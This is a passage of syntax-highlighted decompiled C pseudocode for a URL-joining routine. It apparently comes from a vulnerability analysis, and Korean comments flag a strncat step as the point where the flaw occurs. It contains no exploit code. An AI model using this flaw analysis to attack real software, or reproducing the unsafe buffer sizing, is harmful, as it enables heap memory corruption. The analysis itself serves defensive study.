  <span class="n">__int64</span> <span class="n">v61</span><span class="p">;</span> <span class="c1">// [esp+88h] [ebp-68h]</span>
  <span class="kt">int</span> <span class="n">v62</span><span class="p">;</span> <span class="c1">// [esp+90h] [ebp-60h]</span>
  <span class="kt">int</span> <span class="n">v63</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span> <span class="c1">// [esp+94h] [ebp-5Ch] BYREF</span>
  <span class="kt">int</span> <span class="n">v64</span><span class="p">;</span> <span class="c1">// [esp+A0h] [ebp-50h]</span>
  <span class="kt">int</span> <span class="n">v65</span><span class="p">;</span> <span class="c1">// [esp+A4h] [ebp-4Ch]</span>
  <span class="kt">int</span> <span class="n">v66</span><span class="p">;</span> <span class="c1">// [esp+A8h] [ebp-48h]</span>
  <span class="kt">int</span> <span class="n">v67</span><span class="p">;</span> <span class="c1">// [esp+ACh] [ebp-44h]</span>
  <span class="kt">int</span> <span class="n">v68</span><span class="p">;</span> <span class="c1">// [esp+B0h] [ebp-40h]</span>
  <span class="kt">int</span> <span class="n">v69</span><span class="p">;</span> <span class="c1">// [esp+B4h] [ebp-3Ch]</span>
  <span class="kt">int</span> <span class="n">v70</span><span class="p">;</span> <span class="c1">// [esp+B8h] [ebp-38h]</span>
  <span class="kt">int</span> <span class="n">v71</span><span class="p">;</span> <span class="c1">// [esp+BCh] [ebp-34h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">v72</span><span class="p">;</span> <span class="c1">// [esp+C0h] [ebp-30h]</span>
  <span class="n">__int128</span> <span class="n">v73</span><span class="p">;</span> <span class="c1">// [esp+C4h] [ebp-2Ch]</span>
  <span class="kt">int</span> <span class="n">v74</span><span class="p">;</span> <span class="c1">// [esp+D4h] [ebp-1Ch]</span>
  <span class="kt">int</span> <span class="n">iMaxLength</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// [esp+D8h] [ebp-18h]</span>
  <span class="n">LPCSTR</span> <span class="n">allocadr_lpString_copy</span><span class="p">;</span> <span class="c1">// [esp+E0h] [ebp-10h]</span>
  <span class="n">LPCSTR</span> <span class="n">allocadr_Source_copy</span><span class="p">;</span> <span class="c1">// [esp+E4h] [ebp-Ch]</span>
  <span class="kt">int</span> <span class="n">v78</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// [esp+E8h] [ebp-8h] BYREF</span>

  <span class="n">allocadr_Source_copy</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">allocadr_lpString_copy</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">v5</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v78</span> <span class="o">=</span> <span class="mi">0</span><span class="n">i64</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">iMaxLength</span> <span class="o">=</span> <span class="mi">0</span><span class="n">i64</span><span class="p">;</span>
  <span class="n">concatURL_addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">v49</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">v62</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">v74</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">a5</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  
  <span class="c1">// [1-1] relative URL 길이 측정</span>
  <span class="n">lpString_copy</span> <span class="o">=</span> <span class="n">lpString</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="n">lpString</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">lpString</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">v8</span> <span class="o">=</span> <span class="n">lpString</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">lpString</span> <span class="o">==</span> <span class="p">(</span><span class="n">CHAR</span><span class="p">)</span><span class="mh">0xFE</span> <span class="o">&amp;&amp;</span> <span class="n">v8</span> <span class="o">==</span> <span class="p">(</span><span class="n">CHAR</span><span class="p">)</span><span class="mh">0xFF</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">len_lpString</span> <span class="o">=</span> <span class="p">((</span><span class="n">__int64</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">*</span><span class="p">)(</span><span class="n">CHAR</span> <span class="o">*</span><span class="p">))</span><span class="n">strlen_UTF16BE</span><span class="p">)(</span><span class="n">lpString</span><span class="p">);</span>
    <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">len_lpString</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">HIDWORD</span><span class="p">(</span><span class="n">len_lpString</span><span class="p">)</span><span class="o">&amp;</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">len_lpString</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="nl">LABEL_9:</span>
      <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2</span><span class="p">;</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">lpString_copy</span> <span class="o">=</span> <span class="n">lpString</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">v78</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
  <span class="p">}</span>
  
  <span class="c1">// [1-2] base URL 길이 측정</span>
  <span class="n">Source_copy</span> <span class="o">=</span> <span class="n">Source</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">Source</span> <span class="o">||</span> <span class="o">!</span><span class="n">lpString_copy</span> <span class="o">||</span> <span class="o">!</span><span class="n">String</span> <span class="o">||</span> <span class="o">!</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2</span><span class="p">;</span>
    <span class="k">goto</span> <span class="n">LABEL_86</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Source</span> <span class="o">!=</span> <span class="mh">0xFE</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_25</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Source</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">len_Source</span> <span class="o">=</span> <span class="p">((</span><span class="n">__int64</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">*</span><span class="p">)(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">))</span><span class="n">strlen_UTF16BE</span><span class="p">)(</span><span class="n">Source</span><span class="p">);</span>
    <span class="n">iMaxLength</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">len_Source</span><span class="p">;</span>
    <span class="k">if</span><span class="p">((</span><span class="n">HIDWORD</span><span class="p">(</span><span class="n">len_Source</span><span class="p">)</span><span class="o">&amp;</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">len_Source</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_9</span><span class="p">;</span>
    <span class="n">Source_copy</span> <span class="o">=</span> <span class="n">Source</span><span class="p">;</span>
    <span class="n">v12</span> <span class="o">=</span> <span class="n">iMaxLength</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">v12</span> <span class="o">=</span> <span class="n">iMaxLength</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
  <span class="p">}</span>
  <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Source_copy</span> <span class="o">==</span> <span class="mh">0xFE</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Source_copy</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">totallen_Source</span> <span class="o">=</span> <span class="n">v12</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nl">LABEL_25:</span>
    <span class="n">len_Source_notUTF</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">custom_strlen</span><span class="p">((</span><span class="n">LPCSTR</span><span class="p">)</span><span class="n">Source_copy</span><span class="p">);</span>
    <span class="n">Source_copy</span> <span class="o">=</span> <span class="n">v37</span><span class="p">;</span>
    <span class="n">totallen_Source</span> <span class="o">=</span> <span class="n">len_Source_notUTF</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">iMaxLength</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">totallen_Source</span><span class="p">;</span>
  
  <span class="c1">// [2-1] base URL을 새로운 heap에 저장</span>
  <span class="n">allocadr_Source</span> <span class="o">=</span> <span class="p">(</span><span class="n">CHAR</span> <span class="o">*</span><span class="p">)((</span><span class="kt">int</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)</span><span class="err">@</span><span class="o">&lt;</span><span class="n">eax</span><span class="o">&gt;</span><span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">calloc_guess</span><span class="p">)(</span><span class="n">Source_copy</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">totallen_Source</span><span class="p">);</span>
  <span class="n">allocadr_Source_copy</span> <span class="o">=</span> <span class="n">allocadr_Source</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">allocadr_Source</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">7</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="p">,</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">custom_strncpy</span><span class="p">)(</span><span class="n">v38</span><span class="p">,</span> <span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)</span><span class="n">allocadr_Source</span><span class="p">,</span> <span class="n">Source</span><span class="p">,</span> <span class="n">iMaxLength</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
  <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">lpString</span><span class="o">==</span><span class="p">(</span><span class="n">CHAR</span><span class="p">)</span><span class="mh">0xFE</span> <span class="o">&amp;&amp;</span> <span class="n">lpString</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">==</span><span class="p">(</span><span class="n">CHAR</span><span class="p">)</span><span class="mh">0xFF</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">totallen_lpString</span> <span class="o">=</span> <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">len_lpString_notUTF</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">custom_strlen</span><span class="p">(</span><span class="n">lpString</span><span class="p">);</span>
    <span class="n">v16</span> <span class="o">=</span> <span class="n">v39</span><span class="p">;</span>
    <span class="n">totallen_lpString</span> <span class="o">=</span> <span class="n">len_lpString_notUTF</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">totallen_lpString</span><span class="p">;</span>
  
  <span class="c1">// [2-2] relative URL을 새로운 heap에 저장</span>
  <span class="n">allocadr_lpString</span> <span class="o">=</span> <span class="p">(</span><span class="n">CHAR</span> <span class="o">*</span><span class="p">)((</span><span class="kt">int</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)</span><span class="err">@</span><span class="o">&lt;</span><span class="n">eax</span><span class="o">&gt;</span><span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">calloc_guess</span><span class="p">)(</span><span class="n">v16</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">totallen_lpString</span><span class="p">);</span>
  <span class="n">allocadr_lpString_copy</span> <span class="o">=</span> <span class="n">allocadr_lpString</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">allocadr_lpString</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">7</span><span class="p">;</span>
<span class="nl">LABEL_86:</span>
    <span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">goto</span> <span class="n">LABEL_87</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="p">,</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">custom_strncpy</span><span class="p">)(</span><span class="n">v40</span><span class="p">,</span> <span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)</span><span class="n">allocadr_lpString</span><span class="p">,</span> <span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)</span><span class="n">lpString</span><span class="p">,</span> <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">check_modify_URL</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">allocadr_Source_copy</span><span class="p">,</span> <span class="n">iMaxLength</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">a5</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">check_modify_URL</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">allocadr_lpString_copy</span><span class="p">,</span> <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">a5</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">goto</span> <span class="n">LABEL_86</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="c1">// [3] URL 관련 연산 수행</span>
  <span class="n">v20</span> <span class="o">=</span> <span class="n">URLparse_process</span><span class="p">((</span><span class="n">CHAR</span> <span class="o">*</span><span class="p">)</span><span class="n">allocadr_Source_copy</span><span class="p">,</span> <span class="n">v42</span><span class="p">);</span>
  <span class="k">if</span><span class="p">(</span><span class="n">v20</span> <span class="o">||</span> <span class="p">(</span><span class="n">v20</span> <span class="o">=</span> <span class="n">URLparse_process</span><span class="p">((</span><span class="n">CHAR</span> <span class="o">*</span><span class="p">)</span><span class="n">allocadr_lpString_copy</span><span class="p">,</span> <span class="n">v50</span><span class="p">))</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="n">v20</span><span class="p">;</span>
    <span class="k">goto</span> <span class="n">LABEL_86</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Source</span> <span class="o">||</span> <span class="p">(</span><span class="n">v21</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">v50</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">v50</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="p">{</span>
    <span class="n">v35</span> <span class="o">=</span> <span class="n">sub_25802FAC</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v50</span><span class="p">);</span>
    <span class="n">v23</span> <span class="o">=</span> <span class="n">a4</span><span class="p">;</span>
    <span class="n">v24</span> <span class="o">=</span> <span class="n">v35</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="n">v35</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&gt;</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_44</span><span class="p">;</span>
    <span class="o">*</span><span class="n">a4</span> <span class="o">=</span> <span class="n">v35</span><span class="p">;</span>
    <span class="n">v25</span> <span class="o">=</span> <span class="n">v50</span><span class="p">;</span>
    <span class="k">goto</span> <span class="n">LABEL_82</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">lpString</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">v26</span> <span class="o">=</span> <span class="n">v55</span><span class="p">;</span>
    <span class="n">v63</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
    <span class="n">v63</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
    <span class="n">v27</span> <span class="o">=</span> <span class="n">v51</span><span class="p">;</span>
    <span class="n">v63</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="n">v73</span> <span class="o">=</span> <span class="mi">0</span><span class="n">i64</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">v51</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">v53</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">v55</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span><span class="p">(</span><span class="n">sub_25803155</span><span class="p">(</span><span class="n">v50</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">v28</span> <span class="o">=</span> <span class="n">v44</span><span class="p">;</span>
        <span class="n">v64</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
        <span class="n">v65</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
        <span class="n">v66</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">5</span><span class="p">];</span>
        <span class="n">v67</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">6</span><span class="p">];</span>
        <span class="n">v29</span> <span class="o">=</span> <span class="n">v43</span><span class="p">;</span>
        <span class="k">if</span><span class="p">(</span><span class="n">v49</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">v29</span> <span class="o">=</span> <span class="n">v43</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
          <span class="n">v28</span> <span class="o">=</span> <span class="n">v44</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
          <span class="n">v43</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
          <span class="o">--</span><span class="n">v44</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">v69</span> <span class="o">=</span> <span class="n">v28</span><span class="p">;</span>
        <span class="n">v68</span> <span class="o">=</span> <span class="n">v29</span><span class="p">;</span>
        <span class="n">v70</span> <span class="o">=</span> <span class="n">v45</span><span class="p">;</span>
        <span class="k">if</span><span class="p">(</span><span class="n">v58</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">v59</span> <span class="o">!=</span> <span class="sc">'/'</span><span class="p">)</span> <span class="p">{</span>
          
            <span class="c1">// [4] 연결된 URL을 저장하기 위한 새로운 heap 할당</span>
            <span class="n">concatURL_addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)((</span><span class="kt">int</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)</span><span class="err">@</span><span class="o">&lt;</span><span class="n">eax</span><span class="o">&gt;</span><span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">calloc_guess</span><span class="p">)((</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">v58</span> <span class="o">+</span> <span class="mi">1</span><span class="p">),</span> <span class="mi">1</span><span class="p">,</span> <span class="n">v58</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">v46</span><span class="p">);</span>
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">concatURL_addr</span><span class="p">)</span> <span class="p">{</span>
              <span class="n">v23</span> <span class="o">=</span> <span class="n">a4</span><span class="p">;</span>
              <span class="n">v24</span> <span class="o">=</span> <span class="n">v58</span> <span class="o">+</span> <span class="n">v46</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
              <span class="k">goto</span> <span class="n">LABEL_44</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="k">if</span><span class="p">(</span><span class="n">v46</span><span class="p">)</span> <span class="p">{</span>
            
              <span class="c1">// [5] base URL을 [4]에서 할당한 heap memory에 저장</span>
              <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="p">,</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">custom_strncpy</span><span class="p">)(</span><span class="n">v41</span><span class="p">,</span> <span class="n">concatURL_addr</span><span class="p">,</span> <span class="n">v47</span><span class="p">,</span> <span class="n">v46</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
              <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">concatURL_addr</span> <span class="o">+</span> <span class="n">v46</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="sc">'/'</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">v31</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)</span><span class="err">@</span><span class="o">&lt;</span><span class="n">eax</span><span class="o">&gt;</span><span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">sub_25818D6E</span><span class="p">)(</span><span class="n">v30</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">concatURL_addr</span><span class="p">,</span> <span class="sc">'/'</span><span class="p">);</span>
                <span class="k">if</span><span class="p">(</span><span class="n">v31</span><span class="p">)</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">v31</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
                <span class="k">else</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">concatURL_addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
              <span class="p">}</span>
            <span class="p">}</span>
            
            <span class="c1">// [6] relative URL을 [5]에서 저장한 base URL 뒤에 이어 붙임 : 취약점 발생</span>
            <span class="k">if</span><span class="p">(</span><span class="n">v58</span><span class="p">)</span> <span class="p">{</span>
              <span class="n">len_allocaddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">custom_strlen</span><span class="p">((</span><span class="n">LPCSTR</span><span class="p">)</span><span class="n">concatURL_addr</span><span class="p">);</span>
              <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="n">__usercall</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="err">@</span><span class="o">&lt;</span><span class="n">ecx</span><span class="o">&gt;</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">custom_strncat</span><span class="p">)(</span><span class="n">v58</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">concatURL_addr</span><span class="p">,</span> <span class="n">v59</span><span class="p">,</span> <span class="n">v58</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">len_allocaddr</span><span class="p">);</span>
            <span class="p">}</span>
            
            <span class="n">sub_25802E0C</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">concatURL_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
            <span class="n">v71</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">custom_strlen</span><span class="p">((</span><span class="n">LPCSTR</span><span class="p">)</span><span class="n">concatURL_addr</span><span class="p">);</span>
            <span class="n">v72</span> <span class="o">=</span> <span class="n">concatURL_addr</span><span class="p">;</span>
            <span class="k">goto</span> <span class="n">LABEL_75</span><span class="p">;</span>
          <span class="p">}</span>
          <span class="n">v71</span> <span class="o">=</span> <span class="n">v58</span><span class="p">;</span>
          <span class="n">v72</span> <span class="o">=</span> <span class="n">v59</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
          <span class="n">v71</span> <span class="o">=</span> <span class="n">v46</span><span class="p">;</span>
          <span class="n">v72</span> <span class="o">=</span> <span class="n">v47</span><span class="p">;</span>
          <span class="k">if</span><span class="p">((</span><span class="n">_DWORD</span><span class="p">)</span><span class="n">v60</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_75</span><span class="p">;</span>
          <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v73</span> <span class="o">=</span> <span class="n">v48</span><span class="p">;</span>
        <span class="p">}</span>
<span class="nl">LABEL_74:</span>
        <span class="k">if</span><span class="p">((</span><span class="n">_DWORD</span><span class="p">)</span><span class="n">v73</span><span class="p">)</span> <span class="p">{</span>
<span class="nl">LABEL_77:</span>
